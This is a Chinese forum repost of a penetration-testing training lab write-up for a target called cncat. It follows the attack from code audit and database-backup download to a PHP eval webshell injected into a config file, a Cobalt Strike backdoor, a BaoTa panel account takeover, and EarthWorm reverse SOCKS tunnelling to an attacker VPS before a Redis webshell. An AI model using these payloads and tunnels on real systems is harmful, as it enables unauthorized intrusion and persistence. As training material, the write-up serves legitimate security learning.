搜索

[26733] 2021-06-17_暗月出师考核第五篇cncat项目实战

文档创建者：s7ckTeam
浏览次数：102
最后更新：2025-01-19
2021-06-17_暗月出师考核第五篇cncat项目实战 暗 月 出 师 考 核 第 五 篇 c n c a t 项 目 实 战 原 创   N 1 e C   m o o n s e c   2 0 2 1 - 0 6 - 1 7 收 录 于 话 题 # 渗 透 测 试   信 息 安 全   , 2 1 # 网 安   , 9 暗 月 出 师 考 核 第 五 篇 暗 月 出 师 考 核 第 五 篇 c n c a t 项 目 实 战 项 目 实 战 这 个 是 系 列 是 五 月 份 出 师 考 核 的 项 目 这 个 是 系 列 是 五 月 份 出 师 考 核 的 项 目 目 前 整 理 的 文 章 有 这 些 以 下 是 五 月 份 成 功 出 师 学 员 的 文 章 从 外 网 代 码 审 计 到 三 层 内 网 各 种 漏 洞 拿 到 域 控 h t t p s : / / m p . w e i x i n . q q . c o m / s / n S y h J C K z y d 8 Y 9 f M g n 9 e f S w 基 于 C o b a l t S t r i k e 的 从 外 网 打 点 到 拿 下 域 控 h t t p s : / / m p . w e i x i n . q q . c o m / s / T F v t P o y 2 - 7 h c T b K b H V X r W g 暗 月 培 训 出 师 考 核 靶 场 w p - 从 外 网 打 点 到 内 网 域 控 h t t p s : / / m p . w e i x i n . q q . c o m / s / v d N 2 F H S c j 6 C r p S F 3 M i k P d w 从 外 网 打 点 到 内 网 域 实 战 h t t p s : / / m p . w e i x i n . q q . c o m / s / 7 m 9 r 2 M Z D l H N w s r d F i x P c C w 大 家 看 下 不 同 的 人 对 同 一 个 项 目 测 试 的 思 路 ， 当 然 打 这 种 项 目 需 要 知 识 很 多 。 第 一 关 ： 审 计 、 第 一 关 ： 审 计 、 C o b a l t s t r i k e 上 线 上 线 知 识 点 一 、 知 识 点 一 、 搜 索 请 求 类 型 ： G E T 、 P O S T 、 C O O K I E 、 R E Q U S T 、 S E S S I O N 。 尽 可 能 的 找 到 一 些 关 键 点 比 如 下 面 的 “ M Y S Q L B A K P A S S W O R D ” ， 全 局 搜 索 这 个 关 键 点 。 0 1

d 9 4 3 5 4 a c 9 c f 3 0 2 4 f 5 7 4 0 9 b d 7 4 e e c 6 b 4 c 解 密 为 ： a d m i n a d m i n a d m i n
知 识 点 二 、 知 识 点 二 、 搜 索 关 键 点 ： 密 码 找 到 一 个 请 求 方 法 “ ? a c t i o n = m y s q l d a t a b a k _ d o w n & p w d = 您 设 置 的 数 据 库 备 份 密 码 ” 全 局 搜 索 这 个 方 法 名 “ m y s q l d a t a b a k _ d o w n ”
找 到 一 个 数 据 库 备 份 下 载 的 页 面 ， 尝 试 去 访 问 h t t p : / / w w w . c o c a t . c c / k s s _ a d m i n / a d m i n _ d a t a . p h p 却 提 示 未 知 的 方 法 请 求 ， 上 面 的 说 到 找 到 了 密 码 和 一 个 请 求 方 法 ， 可 以 直 接 利 用 ： h t t p : / / w w w . c o c a t . c c / k s s _ a d m i n / a d m i n _ d a t a . p h p ? a c t i o n = m y s q l d a t a b a k _ d o w n & p w d = a d m i n a d m i n a d m i n 访 问 后 直 接 下 载 数 据 库 备 份 文 件 ， 这 时 候 就 可 以 尝 试 找 管 理 员 账 号 密 码 进 行 登 录 。
知 识 点 三 、 知 识 点 三 、 检 查 配 置 文 件 是 否 存 留 本 地 得 到 数 据 库 备 份 文 件 后 就 自 行 导 入 数 据 库 找 到 管 理 员 账 号 密 码 进 行 登 录 ， 这 里 解 密 后 的 密 码 ： m o o n @ 1 2 3 在 知 识 点 一 的 时 候 发 现 密 码 是 存 留 在 配 置 文 件 里 的 ， 那 就 反 回 去 看 配 置 文 件 是 否 可 以 利 用 。 登 录 后 发 现 系 统 设 置 页 面 是 / k s s _ i n c / _ c o n f i g . p h p 文 件 里 的 内 容 ， 是 可 以 直 接 写 入 w e b s h e l l 。
可 以 先 本 地 复 现 后 再 去 打 ， 如 ： ' ) ; @ e v a l ( $ _ P O S T [ a ] ) ; ( ' 知 识 点 四 、 知 识 点 四 、 局 限 性 思 维 首 先 生 成 h t t p 的 C o b a l t s t r i k e 后 门 ， 然 后 上 传 到 目 标 机 上 。
上 传 后 门 后 ， 由 于 命 令 执 行 不 了 ， 应 该 是 被 禁 了 函 数 ， 查 看 p h p i n f o ( ) ; 这 里 考 点 不 是 绕 过 这 些 函 数 ， 有 点 类 似 脑 筋 急 转 弯 吧 ， 思 维 放 开 了 看 。 既 然 考 点 是 “ 宝 塔 ” 也 禁 用 这 么 多 函 数 ， 权 限 却 是 “ s y s t e m ” ， 那 就 找 找 宝 塔 的 配 置 文 件 、 后 台 路 径 。 后 台 路 径 : / w w w / s e r v e r / p a n e l / d a t a / a d m i n _ p a t h . p l 登 录 账 号 ： / w w w / s e r v e r / p a n e l / d a t a / d e f a u l t . d b ( 账 号 和 加 密 的 密 码 ) 密 码 : / w w w / s e r v e r / p a n e l / d e f a u l t . p l ( 初 始 默 认 密 码 )
有 路 径 没 账 号 ， 这 也 没 办 法 突 破 ， 爆 破 是 不 可 能 的 ， 宝 塔 面 板 输 错 5 次 就 被 禁 用 （ 我 也 不 知 禁 用 I P 还 是 什 么 ） 。 上 面 也 说 了 是 “ s y s t e m ” 权 限 ， 那 就 把 数 据 文 件 （ C : / B t S o f t / p a n e l / d a t a / d e f a u l t . d b ） 下 载 下 来 ， 然 后 添 加 我 的 账 号 密 码 不 就 可 以 了 ， 而 且 直 接 添 加 的 账 号 密 码 的 话 又 不 知 怎 么 样 的 加 密 方 式 ， 那 就 自 己 搭 建 一 个 本 地 宝 塔 ， 然 后 创 建 账 号 ， 将 本 地 的 账 号 密 码 添 加 （ 利 用 p y c h a r m 添 加 数 据 ） 到 目 标 机 宝 塔 数 据 库 文 件 中 （ C : / B t S o f t / p a n e l / d a t a / d e f a u l t . d b ） 不 就 可 以 了 。 然 后 替 换 目 标 机 上 的 （ C : / B t S o f t / p a n e l / d a t a / d e f a u l t . d b ） 文 件 进 行 登 录 。 运 行 上 传 成 功 ， 并 注 入 进 程 ， 还 原 宝 塔 面 板 的 禁 用 函 数 第 二 关 ： 第 二 关 ： E a r t h w o r m 穿 透 、 穿 透 、 R e d i s - g e t s h e l l 上 传 E W （ E a r t h w o r m ） V P S （ 攻 击 机 ） 执 行 以 下 命 令 e w . e x e - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 说 明 ： 该 命 令 的 意 思 是 在 我 们 公 网 V P S （ 攻 击 机 ） 上 添 加 一 个 转 接 隧 道 ， 把 1 0 8 0 端 口 收 到 的 代 理 请 求 转 交 给 8 8 8 端 口 。 服 务 器 端 执 行 以 下 命 令 e w . e x e - s   r s s o c k s   - d   2 . 2 . 2 . 2 （ 攻 击 机 ） - e 8 8 8 说 明 ： 该 命 令 的 意 思 是 在 服 务 器 （ 目 标 机 ） 上 启 动 S O C K S V 5 服 务 ， 并 反 弹 到 I P 地 址 为 2 . 2 . 2 . 2 （ 攻 击 机 ） 的 服 务 器 8 8 8 端 口 上 。 0 2
然 后 P r o x i f i e r 来 代 理 （ 攻 击 机 ） s o c k e s ， 通 过 r e d i s - c l i 连 接 r e d i s 服 务 写 w e b s h e l l ， 由 于 不 知 道 路 径 就 用 I I S 默 认 路 径 （ c : / i n e t p u b / w w w r o o t / ） 进 行 写 s h e l l 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理